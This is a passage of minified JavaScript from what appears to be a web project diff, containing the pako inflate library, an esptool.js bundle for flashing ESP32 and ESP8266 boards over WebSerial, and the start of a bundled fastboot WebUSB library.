repeat",A.mode=T;break}for(;g--;)A.lens[A.have++]=_}}if(A.mode===T)break;if(A.lens[256]===0){t.msg="invalid code -- missing end-of-block",A.mode=T;break}if(A.lenbits=9,I={bits:A.lenbits},M=pA(ri,A.lens,0,A.nlen,A.lencode,0,A.work,I),A.lenbits=I.bits,M){t.msg="invalid literal/lengths set",A.mode=T;break}if(A.distbits=6,A.distcode=A.distdyn,I={bits:A.distbits},M=pA(hi,A.lens,A.nlen,A.ndist,A.distcode,0,A.work,I),A.distbits=I.bits,M){t.msg="invalid distances set",A.mode=T;break}if(A.mode=tt,e===At)break A;case tt:A.mode=et;case et:if(E>=6&&o>=258){t.next_out=n,t.avail_out=o,t.next_in=a,t.avail_in=E,A.hold=r,A.bits=h,Xa(t,c),n=t.next_out,s=t.output,o=t.avail_out,a=t.next_in,i=t.input,E=t.avail_in,r=A.hold,h=A.bits,A.mode===X&&(A.back=-1);break}for(A.back=0;d=A.lencode[r&(1<>>24,Q=d>>>16&255,l=d&65535,!(C<=h);){if(E===0)break A;E--,r+=i[a++]<>B)],C=d>>>24,Q=d>>>16&255,l=d&65535,!(B+C<=h);){if(E===0)break A;E--,r+=i[a++]<>>=B,h-=B,A.back+=B}if(r>>>=C,h-=C,A.back+=C,A.length=l,Q===0){A.mode=ke;break}if(Q&32){A.back=-1,A.mode=X;break}if(Q&64){t.msg="invalid literal/length code",A.mode=T;break}A.extra=Q&15,A.mode=Te;case Te:if(A.extra){for(R=A.extra;h>>=A.extra,h-=A.extra,A.back+=A.extra}A.was=A.length,A.mode=pe;case pe:for(;d=A.distcode[r&(1<>>24,Q=d>>>16&255,l=d&65535,!(C<=h);){if(E===0)break A;E--,r+=i[a++]<>B)],C=d>>>24,Q=d>>>16&255,l=d&65535,!(B+C<=h);){if(E===0)break A;E--,r+=i[a++]<>>=B,h-=B,A.back+=B}if(r>>>=C,h-=C,A.back+=C,Q&64){t.msg="invalid distance code",A.mode=T;break}A.offset=l,A.extra=Q&15,A.mode=Ue;case Ue:if(A.extra){for(R=A.extra;h>>=A.extra,h-=A.extra,A.back+=A.extra}if(A.offset>A.dmax){t.msg="invalid distance too far back",A.mode=T;break}A.mode=Pe;case Pe:if(o===0)break A;if(g=c-o,A.offset>g){if(g=A.offset-g,g>A.whave&&A.sane){t.msg="invalid distance too far back",A.mode=T;break}g>A.wnext?(g-=A.wnext,f=A.wsize-g):f=A.wnext-g,g>A.length&&(g=A.length),F=A.window}else F=s,f=n-A.offset,g=A.length;g>o&&(g=o),o-=g,A.length-=g;do s[n++]=F[f++];while(--g);A.length===0&&(A.mode=et);break;case ke:if(o===0)break A;s[n++]=A.length,o--,A.mode=et;break;case Dt:if(A.wrap){for(;h<32;){if(E===0)break A;E--,r|=i[a++]<{if(cA(t))return J;let e=t.state;return e.window&&(e.window=null),t.state=null,gA},Cn=(t,e)=>{if(cA(t))return J;let A=t.state;return A.wrap&2?(A.head=e,e.done=!1,gA):J},In=(t,e)=>{let A=e.length,i,s,a;return cA(t)||(i=t.state,i.wrap!==0&&i.mode!==nt)?J:i.mode===nt&&(s=1,s=HA(s,e,A,0),s!==i.check)?oi:(a=Ii(t,e,A,A),a?(i.mode=ci,gi):(i.havedict=1,gA))},ln=_i,dn=fi,Sn=wi,Dn=Bn,Rn=Ci,Mn=_n,xn=fn,Qn=Cn,un=In,Fn="pako inflate (from Nodeca project)",q={inflateReset:ln,inflateReset2:dn,inflateResetKeep:Sn,inflateInit:Dn,inflateInit2:Rn,inflate:Mn,inflateEnd:xn,inflateGetHeader:Qn,inflateSetDictionary:un,inflateInfo:Fn};function Tn(){this.text=0,this.time=0,this.xflags=0,this.os=0,this.extra=null,this.extra_len=0,this.name="",this.comment="",this.hcrc=0,this.done=!1}var pn=Tn,li=Object.prototype.toString,{Z_NO_FLUSH:Un,Z_FINISH:Pn,Z_OK:bA,Z_STREAM_END:xt,Z_NEED_DICT:Qt,Z_STREAM_ERROR:kn,Z_DATA_ERROR:be,Z_MEM_ERROR:On}=DA;function LA(t){this.options=rt.assign({chunkSize:1024*64,windowBits:15,to:""},t||{});let e=this.options;e.raw&&e.windowBits>=0&&e.windowBits<16&&(e.windowBits=-e.windowBits,e.windowBits===0&&(e.windowBits=-15)),e.windowBits>=0&&e.windowBits<16&&!(t&&t.windowBits)&&(e.windowBits+=32),e.windowBits>15&&e.windowBits<48&&(e.windowBits&15||(e.windowBits|=15)),this.err=0,this.msg="",this.ended=!1,this.chunks=[],this.strm=new ni,this.strm.avail_out=0;let A=q.inflateInit2(this.strm,e.windowBits);if(A!==bA)throw new Error(hA[A]);if(this.header=new pn,q.inflateGetHeader(this.strm,this.header),e.dictionary&&(typeof e.dictionary=="string"?e.dictionary=YA.string2buf(e.dictionary):li.call(e.dictionary)==="[object ArrayBuffer]"&&(e.dictionary=new Uint8Array(e.dictionary)),e.raw&&(A=q.inflateSetDictionary(this.strm,e.dictionary),A!==bA)))throw new Error(hA[A])}LA.prototype.push=function(t,e){let A=this.strm,i=this.options.chunkSize,s=this.options.dictionary,a,n,E;if(this.ended)return!1;for(e===~~e?n=e:n=e===!0?Pn:Un,li.call(t)==="[object ArrayBuffer]"?A.input=new Uint8Array(t):A.input=t,A.next_in=0,A.avail_in=A.input.length;;){for(A.avail_out===0&&(A.output=new Uint8Array(i),A.next_out=0,A.avail_out=i),a=q.inflate(A,n),a===Qt&&s&&(a=q.inflateSetDictionary(A,s),a===bA?a=q.inflate(A,n):a===be&&(a=Qt));A.avail_in>0&&a===xt&&A.state.wrap>0&&t[A.next_in]!==0;)q.inflateReset(A),a=q.inflate(A,n);switch(a){case kn:case be:case Qt:case On:return this.onEnd(a),this.ended=!0,!1}if(E=A.avail_out,A.next_out&&(A.avail_out===0||a===xt))if(this.options.to==="string"){let o=YA.utf8border(A.output,A.next_out),r=A.next_out-o,h=YA.buf2string(A.output,o);A.next_out=r,A.avail_out=i-r,r&&A.output.set(A.output.subarray(o,o+r),0),this.onData(h)}else this.onData(A.output.length===A.next_out?A.output:A.output.subarray(0,A.next_out));if(!(a===bA&&E===0)){if(a===xt)return a=q.inflateEnd(this.strm),this.onEnd(a),this.ended=!0,!0;if(A.avail_in===0)break}}return!0};LA.prototype.onData=function(t){this.chunks.push(t)};LA.prototype.onEnd=function(t){t===bA&&(this.options.to==="string"?this.result=this.chunks.join(""):this.result=rt.flattenChunks(this.chunks)),this.chunks=[],this.err=t,this.msg=this.strm.msg};function Lt(t,e){let A=new LA(e);if(A.push(t),A.err)throw A.msg||hA[A.err];return A.result}function Hn(t,e){return e=e||{},e.raw=!0,Lt(t,e)}var yn=LA,Yn=Lt,bn=Hn,Gn=Lt,mn=DA,Kn={Inflate:yn,inflate:Yn,inflateRaw:bn,ungzip:Gn,constants:mn},{Deflate:aE,deflate:Ln,deflateRaw:nE,gzip:EE}=ja,{Inflate:Nn,inflate:rE,inflateRaw:hE,ungzip:oE}=Kn;var di=Ln;var Si=Nn;var BA=class{constructor(e,A=!1,i=!0){this.device=e,this.tracing=A,this.slipReaderEnabled=!1,this.baudrate=0,this.traceLog="",this.lastTraceTime=Date.now(),this.buffer=new Uint8Array(0),this.SLIP_END=192,this.SLIP_ESC=219,this.SLIP_ESC_END=220,this.SLIP_ESC_ESC=221,this._DTR_state=!1,this.slipReaderEnabled=i}getInfo(){let e=this.device.getInfo();return e.usbVendorId&&e.usbProductId?`WebSerial VendorID 0x${e.usbVendorId.toString(16)} ProductID 0x${e.usbProductId.toString(16)}`:""}getPid(){return this.device.getInfo().usbProductId}trace(e){let s=`${`TRACE ${(Date.now()-this.lastTraceTime).toFixed(3)}`} ${e}`;console.log(s),this.traceLog+=s+` +`}async returnTrace(){try{await navigator.clipboard.writeText(this.traceLog),console.log("Text copied to clipboard!")}catch(e){console.error("Failed to copy text:",e)}}hexify(e){return Array.from(e).map(A=>A.toString(16).padStart(2,"0")).join("").padEnd(16," ")}hexConvert(e,A=!0){if(A&&e.length>16){let i="",s=e;for(;s.length>0;){let a=s.slice(0,16),n=String.fromCharCode(...a).split("").map(E=>E===" "||E>=" "&&E<="~"&&E!==" "?E:".").join("");s=s.slice(16),i+=` + ${this.hexify(a.slice(0,8))} ${this.hexify(a.slice(8))} | ${n}`}return i}else return this.hexify(e)}slipWriter(e){let A=[];A.push(192);for(let i=0;isetTimeout(()=>E(new Error("Read timeout exceeded")),e)),i=await Promise.race([this.reader.read(),A]);if(i===null)break;let{value:s,done:a}=i;if(a||!s)break;yield s}}catch(A){console.error("Error reading from serial port:",A)}finally{this.buffer=new Uint8Array(0)}}async newRead(e,A){if(this.buffer.length>=e){let s=this.buffer.slice(0,e);return this.buffer=this.buffer.slice(e),s}for(;this.buffer.length0?n:1,e);if(!E||E.length===0){let r=i===null?a?"Serial data stream stopped: Possible serial noise or corruption.":"No serial data received.":"Packet content transfer stopped";throw this.trace(r),new Error(r)}this.trace(`Read ${E.length} bytes: ${this.hexConvert(E)}`);let o=0;for(;osetTimeout(A,e))}async waitForUnlock(e){for(;this.device.readable&&this.device.readable.locked||this.device.writable&&this.device.writable.locked;)await this.sleep(e)}async disconnect(){var e,A;!((e=this.device.readable)===null||e===void 0)&&e.locked&&await((A=this.reader)===null||A===void 0?void 0:A.cancel()),await this.waitForUnlock(400),await this.device.close(),this.reader=void 0}};function $(t){return new Promise(e=>setTimeout(e,t))}var NA=class{constructor(e,A){this.resetDelay=A,this.transport=e}async reset(){await this.transport.setDTR(!1),await this.transport.setRTS(!0),await $(100),await this.transport.setDTR(!0),await this.transport.setRTS(!1),await $(this.resetDelay),await this.transport.setDTR(!1)}},JA=class{constructor(e){this.transport=e}async reset(){await this.transport.setRTS(!1),await this.transport.setDTR(!1),await $(100),await this.transport.setDTR(!0),await this.transport.setRTS(!1),await $(100),await this.transport.setRTS(!0),await this.transport.setDTR(!1),await this.transport.setRTS(!0),await $(100),await this.transport.setRTS(!1),await this.transport.setDTR(!1)}},vA=class{constructor(e,A=!1){this.transport=e,this.usingUsbOtg=A,this.transport=e}async reset(){this.usingUsbOtg?(await $(200),await this.transport.setRTS(!1),await $(200)):(await $(100),await this.transport.setRTS(!1))}};function Di(t){let e=["D","R","W"],A=t.split("|");for(let i of A){let s=i[0],a=i.slice(1);if(!e.includes(s))return!1;if(s==="D"||s==="R"){if(a!=="0"&&a!=="1")return!1}else if(s==="W"){let n=parseInt(a);if(isNaN(n)||n<=0)return!1}}return!0}var WA=class{constructor(e,A){this.transport=e,this.sequenceString=A,this.transport=e}async reset(){let e={D:async A=>await this.transport.setDTR(A),R:async A=>await this.transport.setRTS(A),W:async A=>await $(A)};try{if(!Di(this.sequenceString))return;let i=this.sequenceString.split("|");for(let s of i){let a=s[0],n=s.slice(1);a==="W"?await e.W(Number(n)):(a==="D"||a==="R")&&await e[a](n==="1")}}catch{throw new Error("Invalid custom reset sequence")}}};var yi=L(Mi());async function ot(t){let e;switch(t){case"ESP32":e=await Promise.resolve().then(()=>L(xi()));break;case"ESP32-C2":e=await Promise.resolve().then(()=>L(Qi()));break;case"ESP32-C3":e=await Promise.resolve().then(()=>L(ui()));break;case"ESP32-C5":e=await Promise.resolve().then(()=>L(Fi()));break;case"ESP32-C6":e=await Promise.resolve().then(()=>L(Ti()));break;case"ESP32-C61":e=await Promise.resolve().then(()=>L(pi()));break;case"ESP32-H2":e=await Promise.resolve().then(()=>L(Ui()));break;case"ESP32-P4":e=await Promise.resolve().then(()=>L(Pi()));break;case"ESP32-S2":e=await Promise.resolve().then(()=>L(ki()));break;case"ESP32-S3":e=await Promise.resolve().then(()=>L(Oi()));break;case"ESP8266":e=await Promise.resolve().then(()=>L(Hi()));break}if(e)return{bss_start:e.bss_start,data:e.data,data_start:e.data_start,entry:e.entry,text:e.text,text_start:e.text_start,decodedData:Nt(e.data),decodedText:Nt(e.text)}}function Nt(t){let A=(0,yi.default)(t).split("").map(function(i){return i.charCodeAt(0)});return new Uint8Array(A)}function Yi(t,e,A=255){let i=t.length%e;if(i!==0){let s=new Uint8Array(e-i).fill(A),a=new Uint8Array(t.length+s.length);return a.set(t),a.set(s,t.length),a}return t}async function tE(t){switch(t){case 15736195:{let{ESP32ROM:e}=await Promise.resolve().then(()=>(Jt(),bi));return new e}case 203546735:case 1867591791:case 2084675695:{let{ESP32C2ROM:e}=await Promise.resolve().then(()=>(Ki(),mi));return new e}case 1763790959:case 456216687:case 1216438383:case 1130455151:{let{ESP32C3ROM:e}=await Promise.resolve().then(()=>(vt(),Gi));return new e}case 752910447:{let{ESP32C6ROM:e}=await Promise.resolve().then(()=>(gt(),Li));return new e}case 606167151:case 871374959:case 1333878895:{let{ESP32C61ROM:e}=await Promise.resolve().then(()=>(Ji(),Ni));return new e}case 285294703:case 1675706479:case 1607549039:{let{ESP32C5ROM:e}=await Promise.resolve().then(()=>(Wi(),vi));return new e}case 3619110528:case 2548236392:{let{ESP32H2ROM:e}=await Promise.resolve().then(()=>(ji(),zi));return new e}case 9:{let{ESP32S3ROM:e}=await Promise.resolve().then(()=>(Xi(),Zi));return new e}case 1990:{let{ESP32S2ROM:e}=await Promise.resolve().then(()=>(qi(),Vi));return new e}case 4293968129:{let{ESP8266ROM:e}=await Promise.resolve().then(()=>(As(),$i));return new e}case 0:case 182303440:case 117676761:{let{ESP32P4ROM:e}=await Promise.resolve().then(()=>(es(),ts));return new e}default:return null}}var ZA=class{constructor(e){var A,i,s,a,n,E,o,r;this.ESP_RAM_BLOCK=6144,this.ESP_FLASH_BEGIN=2,this.ESP_FLASH_DATA=3,this.ESP_FLASH_END=4,this.ESP_MEM_BEGIN=5,this.ESP_MEM_END=6,this.ESP_MEM_DATA=7,this.ESP_WRITE_REG=9,this.ESP_READ_REG=10,this.ESP_SPI_ATTACH=13,this.ESP_CHANGE_BAUDRATE=15,this.ESP_FLASH_DEFL_BEGIN=16,this.ESP_FLASH_DEFL_DATA=17,this.ESP_FLASH_DEFL_END=18,this.ESP_SPI_FLASH_MD5=19,this.ESP_ERASE_FLASH=208,this.ESP_ERASE_REGION=209,this.ESP_READ_FLASH=210,this.ESP_RUN_USER_CODE=211,this.ESP_IMAGE_MAGIC=233,this.ESP_CHECKSUM_MAGIC=239,this.ROM_INVALID_RECV_MSG=5,this.DEFAULT_TIMEOUT=3e3,this.ERASE_REGION_TIMEOUT_PER_MB=3e4,this.ERASE_WRITE_TIMEOUT_PER_MB=4e4,this.MD5_TIMEOUT_PER_MB=8e3,this.CHIP_ERASE_TIMEOUT=12e4,this.FLASH_READ_TIMEOUT=1e5,this.MAX_TIMEOUT=this.CHIP_ERASE_TIMEOUT*2,this.CHIP_DETECT_MAGIC_REG_ADDR=1073745920,this.DETECTED_FLASH_SIZES={18:"256KB",19:"512KB",20:"1MB",21:"2MB",22:"4MB",23:"8MB",24:"16MB"},this.DETECTED_FLASH_SIZES_NUM={18:256,19:512,20:1024,21:2048,22:4096,23:8192,24:16384},this.USB_JTAG_SERIAL_PID=4097,this.romBaudrate=115200,this.debugLogging=!1,this.syncStubDetected=!1,this.flashSizeBytes=function(h){let w=-1;return h.indexOf("KB")!==-1?w=parseInt(h.slice(0,h.indexOf("KB")))*1024:h.indexOf("MB")!==-1&&(w=parseInt(h.slice(0,h.indexOf("MB")))*1024*1024),w},this.IS_STUB=!1,this.FLASH_WRITE_SIZE=16384,this.transport=e.transport,this.baudrate=e.baudrate,this.resetConstructors={classicReset:(h,w)=>new NA(h,w),customReset:(h,w)=>new WA(h,w),hardReset:(h,w)=>new vA(h,w),usbJTAGSerialReset:h=>new JA(h)},e.serialOptions&&(this.serialOptions=e.serialOptions),e.romBaudrate&&(this.romBaudrate=e.romBaudrate),e.terminal&&(this.terminal=e.terminal,this.terminal.clean()),typeof e.debugLogging<"u"&&(this.debugLogging=e.debugLogging),e.port&&(this.transport=new BA(e.port)),typeof e.enableTracing<"u"&&(this.transport.tracing=e.enableTracing),!((A=e.resetConstructors)===null||A===void 0)&&A.classicReset&&(this.resetConstructors.classicReset=(i=e.resetConstructors)===null||i===void 0?void 0:i.classicReset),!((s=e.resetConstructors)===null||s===void 0)&&s.customReset&&(this.resetConstructors.customReset=(a=e.resetConstructors)===null||a===void 0?void 0:a.customReset),!((n=e.resetConstructors)===null||n===void 0)&&n.hardReset&&(this.resetConstructors.hardReset=(E=e.resetConstructors)===null||E===void 0?void 0:E.hardReset),!((o=e.resetConstructors)===null||o===void 0)&&o.usbJTAGSerialReset&&(this.resetConstructors.usbJTAGSerialReset=(r=e.resetConstructors)===null||r===void 0?void 0:r.usbJTAGSerialReset),this.info("esptool.js"),this.info("Serial port "+this.transport.getInfo())}_sleep(e){return new Promise(A=>setTimeout(A,e))}write(e,A=!0){this.terminal?A?this.terminal.writeLine(e):this.terminal.write(e):console.log(e)}error(e,A=!0){this.write(`Error: ${e}`,A)}info(e,A=!0){this.write(e,A)}debug(e,A=!0){this.debugLogging&&this.write(`Debug: ${e}`,A)}_shortToBytearray(e){return new Uint8Array([e&255,e>>8&255])}_intToByteArray(e){return new Uint8Array([e&255,e>>8&255,e>>16&255,e>>24&255])}_byteArrayToShort(e,A){return e|A>>8}_byteArrayToInt(e,A,i,s){return e|A<<8|i<<16|s<<24}_appendBuffer(e,A){let i=new Uint8Array(e.byteLength+A.byteLength);return i.set(new Uint8Array(e),0),i.set(new Uint8Array(A),e.byteLength),i.buffer}_appendArray(e,A){let i=new Uint8Array(e.length+A.length);return i.set(e,0),i.set(A,e.length),i}ui8ToBstr(e){let A="";for(let i=0;i0&&(n=this._appendArray(n,this._intToByteArray(this.chip.UART_DATE_REG_ADDR)),n=this._appendArray(n,this._intToByteArray(0)),n=this._appendArray(n,this._intToByteArray(0)),n=this._appendArray(n,this._intToByteArray(a))),await this.checkCommand("write target memory",this.ESP_WRITE_REG,n)}async sync(){this.debug("Sync");let e=new Uint8Array(36),A;for(e[0]=7,e[1]=7,e[2]=18,e[3]=32,A=0;A<32;A++)e[4+A]=85;try{let i=await this.command(8,e,void 0,void 0,100);this.syncStubDetected=i[0]===0;for(let s=0;s<7;s++)i=await this.command(),this.syncStubDetected=this.syncStubDetected&&i[0]===0;return i}catch(i){throw this.debug("Sync err "+i),i}}async _connectAttempt(e="default_reset",A){this.debug("_connect_attempt "+e),A&&await A.reset();let i=this.transport.inWaiting(),s=await this.transport.newRead(i>0?i:1,this.DEFAULT_TIMEOUT),a=Array.from(s,c=>String.fromCharCode(c)).join(""),n=/boot:(0x[0-9a-fA-F]+)(.*waiting for download)?/,E=a.match(n),o=!1,r="",h=!1;E&&(o=!0,r=E[1],h=!!E[2]);let w="";for(let c=0;c<5;c++)try{this.debug(`Sync connect attempt ${c}`);let g=await this.sync();return this.debug(g[0].toString()),"success"}catch(g){this.debug(`Error at sync ${g}`),g instanceof Error?w=g.message:typeof g=="string"?w=g:w=JSON.stringify(g)}return o&&(w=`Wrong boot mode detected (${r}). + This chip needs to be in download mode.`,h&&(w=`Download mode successfully detected, but getting no sync reply: + The serial TX path seems to be down.`)),w}constructResetSequence(e){if(e!=="no_reset"){if(e==="usb_reset"||this.transport.getPid()===this.USB_JTAG_SERIAL_PID){if(this.resetConstructors.usbJTAGSerialReset)return this.debug("using USB JTAG Serial Reset"),[this.resetConstructors.usbJTAGSerialReset(this.transport)]}else if(this.resetConstructors.classicReset)return this.debug("using Classic Serial Reset"),[this.resetConstructors.classicReset(this.transport,50),this.resetConstructors.classicReset(this.transport,550)]}return[]}async connect(e="default_reset",A=7,i=!0){let s;this.info("Connecting...",!1),await this.transport.connect(this.romBaudrate,this.serialOptions);let a=this.constructResetSequence(e);for(let n=0;n0?a[n%a.length]:null;if(s=await this._connectAttempt(e,E),s==="success")break}if(s!=="success")throw new U("Failed to connect with the device");if(this.debug("Connect attempt successful."),this.info(` +\r`,!1),i){let n=await this.readReg(this.CHIP_DETECT_MAGIC_REG_ADDR)>>>0;this.debug("Chip Magic "+n.toString(16));let E=await tE(n);if(this.chip===null)throw new U(`Unexpected CHIP magic value ${n}. Failed to autodetect chip type.`);this.chip=E}}async detectChip(e="default_reset"){await this.connect(e),this.info("Detecting chip type... ",!1),this.chip!=null?this.info(this.chip.CHIP_NAME):this.info("unknown!")}async checkCommand(e="",A=null,i=new Uint8Array(0),s=0,a=this.DEFAULT_TIMEOUT){this.debug("check_command "+e);let n=await this.command(A,i,s,void 0,a);return n[1].length>4?n[1]:n[0]}async memBegin(e,A,i,s){if(this.IS_STUB){let n=s,E=s+e,o=await ot(this.chip.CHIP_NAME);if(o){let r=[[o.bss_start||o.data_start,o.data_start+o.decodedData.length],[o.text_start,o.text_start+o.decodedText.length]];for(let[h,w]of r)if(nh)throw new U(`Software loader is resident at 0x${h.toString(16).padStart(8,"0")}-0x${w.toString(16).padStart(8,"0")}. + Can't load binary at overlapping address range 0x${n.toString(16).padStart(8,"0")}-0x${E.toString(16).padStart(8,"0")}. + Either change binary loading address, or use the no-stub option to disable the software loader.`)}}this.debug("mem_begin "+e+" "+A+" "+i+" "+s.toString(16));let a=this._appendArray(this._intToByteArray(e),this._intToByteArray(A));a=this._appendArray(a,this._intToByteArray(i)),a=this._appendArray(a,this._intToByteArray(s)),await this.checkCommand("enter RAM download mode",this.ESP_MEM_BEGIN,a)}checksum(e,A=this.ESP_CHECKSUM_MAGIC){for(let i=0;i{let S=E+this.chip.SPI_MOSI_DLEN_OFFS,I=E+this.chip.SPI_MISO_DLEN_OFFS;_>0&&await this.writeReg(S,_-1),M>0&&await this.writeReg(I,M-1)}:g=async(_,M)=>{let S=h,I=17,R=8,Z=_===0?0:_-1,_A=(M===0?0:M-1)<32)throw new U("Reading more than 32 bits back from a SPI flash operation is unsupported");if(A.length>64)throw new U("Writing more than 64 bytes of data with one SPI command is unsupported");let d=A.length*8,C=await this.readReg(r),Q=await this.readReg(w),l=-2147483648,B;i>0&&(l|=268435456),d>0&&(l|=134217728),await g(d,i),await this.writeReg(r,l);let D=7<("00"+A.toString(16)).slice(-2)).join("")}async flashMd5sum(e,A){let i=this.timeoutPerMb(this.MD5_TIMEOUT_PER_MB,A),s=this._appendArray(this._intToByteArray(e),this._intToByteArray(A));s=this._appendArray(s,this._intToByteArray(0)),s=this._appendArray(s,this._intToByteArray(0));let a=await this.checkCommand("calculate md5sum",this.ESP_SPI_FLASH_MD5,s,void 0,i);return a instanceof Uint8Array&&a.length>16&&(a=a.slice(0,16)),this.toHex(a)}async readFlash(e,A,i=null){let s=this._appendArray(this._intToByteArray(e),this._intToByteArray(A));s=this._appendArray(s,this._intToByteArray(4096)),s=this._appendArray(s,this._intToByteArray(1024));let a=await this.checkCommand("read flash",this.ESP_READ_FLASH,s);if(a!=0)throw new U("Failed to read memory: "+a);let n=new Uint8Array(0);for(;n.length0&&(n=this._appendArray(n,E),await this.transport.write(this._intToByteArray(n.length)),i&&i(E,n.length,A));else throw new U("Failed to read memory: "+E)}return n}async runStub(){if(this.syncStubDetected)return this.info("Stub is already running. No upload is necessary."),this.chip;this.info("Uploading stub...");let e=await ot(this.chip.CHIP_NAME);if(e===void 0)throw this.debug("Error loading Stub json"),new Error("Error loading Stub json");let A=[e.decodedText,e.decodedData];for(let a=0;a"u")throw new U("Flash size "+e+" is not supported by this chip type. Supported sizes: "+this.chip.FLASH_SIZES);return this.chip.FLASH_SIZES[e]}_updateImageFlashParams(e,A,i,s,a){if(this.debug("_update_image_flash_params "+i+" "+s+" "+a),e.length<8||A!=this.chip.BOOTLOADER_FLASH_OFFSET)return e;if(i==="keep"&&s==="keep"&&a==="keep")return this.info("Not changing the image"),e;let n=parseInt(e[0]),E=parseInt(e[2]),o=parseInt(e[3]);if(n!==this.ESP_IMAGE_MAGIC)return this.info("Warning: Image file at 0x"+A.toString(16)+" doesn't look like an image file, so not changing any flash settings."),e;s!=="keep"&&(E={qio:0,qout:1,dio:2,dout:3}[s]);let r=o&15;a!=="keep"&&(r={"40m":0,"26m":1,"20m":2,"80m":15}[a]);let h=o&240;i!=="keep"&&(h=this.parseFlashSizeArg(i));let w=E<<8|r+h;return this.info("Flash params set to "+w.toString(16)),parseInt(e[2])!==E<<8&&(e=e.substring(0,2)+(E<<8).toString()+e.substring(3)),parseInt(e[3])!==r+h&&(e=e.substring(0,3)+(r+h).toString()+e.substring(4)),e}async writeFlash(e){if(this.debug("EspLoader program"),e.flashSize!=="keep"){let s=this.flashSizeBytes(e.flashSize);for(let a=0;as)throw new U(`File ${a+1} doesn't fit in the available flash`)}this.IS_STUB===!0&&e.eraseAll===!0&&await this.eraseFlash();let A,i;for(let s=0;s0;){this.debug("Write loop "+i+" "+o+" "+E),this.info("Writing at 0x"+(i+F).toString(16)+"... ("+Math.floor(100*(o+1)/E)+"%)");let C=this.bstrToUi8(A.slice(0,this.FLASH_WRITE_SIZE));if(e.compress){let Q=F;f.push(C,!1);let l=F-Q,B=3e3;this.timeoutPerMb(this.ERASE_WRITE_TIMEOUT_PER_MB,l)>3e3&&(B=this.timeoutPerMb(this.ERASE_WRITE_TIMEOUT_PER_MB,l)),this.IS_STUB===!1&&(g=B),await this.flashDeflBlock(C,o,g),this.IS_STUB&&(g=B)}else throw new U("Yet to handle Non Compressed writes");r+=C.length,A=A.slice(this.FLASH_WRITE_SIZE,A.length),o++,e.reportProgress&&e.reportProgress(s,r,h)}this.IS_STUB&&await this.readReg(this.CHIP_DETECT_MAGIC_REG_ADDR,g),w=new Date;let d=w.getTime()-c;if(e.compress&&this.info("Wrote "+n+" bytes ("+r+" compressed) at 0x"+i.toString(16)+" in "+d/1e3+" seconds."),a){let C=await this.flashMd5sum(i,n);if(new String(C).valueOf()!=new String(a).valueOf())throw this.info("File md5: "+a),this.info("Flash md5: "+C),new U("MD5 of file does not match data in flash!");this.info("Hash of data verified.")}}this.info("Leaving..."),this.IS_STUB&&(await this.flashBegin(0,0),e.compress?await this.flashDeflFinish():await this.flashFinish())}async flashId(){this.debug("flash_id");let e=await this.readFlashId();this.info("Manufacturer: "+(e&255).toString(16));let A=e>>16&255;this.info("Device: "+(e>>8&255).toString(16)+A.toString(16)),this.info("Detected flash size: "+this.DETECTED_FLASH_SIZES[A])}async getFlashSize(){this.debug("flash_id");let A=await this.readFlashId()>>16&255;return this.DETECTED_FLASH_SIZES_NUM[A]}async softReset(e){if(this.IS_STUB){if(this.chip.CHIP_NAME!="ESP8266")throw new U("Soft resetting is currently only supported on ESP8266");e?(await this.flashBegin(0,0),await this.flashFinish(!0)):await this.command(this.ESP_RUN_USER_CODE,void 0,void 0,!1)}else{if(e)return;await this.flashBegin(0,0),await this.flashFinish(!1)}}async after(e="hard_reset",A){switch(e){case"hard_reset":this.resetConstructors.hardReset&&(this.info("Hard resetting via RTS pin..."),await this.resetConstructors.hardReset(this.transport,A).reset());break;case"soft_reset":this.info("Soft resetting..."),await this.softReset(!1);break;case"no_reset_stub":this.info("Staying in flasher stub.");break;default:this.info("Staying in bootloader."),this.IS_STUB&&this.softReset(!0);break}}};AA();return rs(eE);})(); +/*! Bundled license information: + +pako/dist/pako.esm.mjs: + (*! pako 2.1.0 https://github.com/nodeca/pako @license (MIT AND Zlib) *) +*/ diff --git a/web/static/js/lib/fastboot-bundle.js b/web/static/js/lib/fastboot-bundle.js new file mode 100644 index 0000000..311707b --- /dev/null +++ b/web/static/js/lib/fastboot-bundle.js @@ -0,0 +1,3 @@ +var Fastboot=(()=>{var Yn=Object.defineProperty;var yr=Object.getOwnPropertyDescriptor;var kr=Object.getOwnPropertyNames;var Er=Object.prototype.hasOwnProperty;var Ar=(n,t)=>{for(var e in t)Yn(n,e,{get:t[e],enumerable:!0})},Sr=(n,t,e,a)=>{if(t&&typeof t=="object"||typeof t=="function")for(let s of kr(t))!Er.call(n,s)&&s!==e&&Yn(n,s,{get:()=>t[s],enumerable:!(a=yr(t,s))||a.enumerable});return n};var Ir=n=>Sr(Yn({},"__esModule",{value:!0}),n);var vo={};Ar(vo,{FastbootDevice:()=>Hn,setDebugLevel:()=>Na});var go={},fi;(function(n){n[n.Silent=0]="Silent",n[n.Debug=1]="Debug",n[n.Verbose=2]="Verbose"})(fi||(fi={}));var Ti=fi.Silent;function Oe(...n){Ti>=1&&console.log(...n)}function Bt(...n){Ti>=2&&console.log(...n)}function Na(n){Ti=n}function Rt(n){return new Promise((t,e)=>{let a=new FileReader;a.onload=()=>{t(a.result)},a.onerror=()=>{e(a.error)},a.readAsArrayBuffer(n)})}function Tr(){return new Promise((n,t)=>{window.requestAnimationFrame(n)})}async function an(n,t,e,a,s){let c=new Date().getTime(),u=!1;n(t,e,0);let v=(async()=>{let b,U=c+a;do b=new Date().getTime(),n(t,e,(b-c)/a),await Tr();while(!u&&b{let s=!1,c=setTimeout(()=>{s=!0,a(new ui(t))},t);n.then(u=>{s||e(u)}).catch(u=>{s||a(u)}).finally(()=>{s||clearTimeout(c)})})}var $a=3978755898,Ha=1,Pa=0,Mt=28,_t=12,Rr=64*1024*1024,Zt=class extends Error{constructor(t){super(t),this.name="ImageError"}},Kt;(function(n){n[n.Raw=51905]="Raw",n[n.Fill=51906]="Fill",n[n.Skip=51907]="Skip",n[n.Crc32=51908]="Crc32"})(Kt||(Kt={}));function qa(n){let t=new DataView(n);if(t.getUint32(0,!0)!==$a)return null;let a=t.getUint16(4,!0),s=t.getUint16(6,!0);if(a!==Ha||st.blocks).reduce((t,e)=>t+e,0)}function Or(n){return n.map(t=>t.data.byteLength).reduce((t,e)=>t+e,0)}function Va(n){return Mt+_t*n.length+Or(n)}function _i(n,t){let e=new ArrayBuffer(Va(t)),a=new DataView(e),s=new 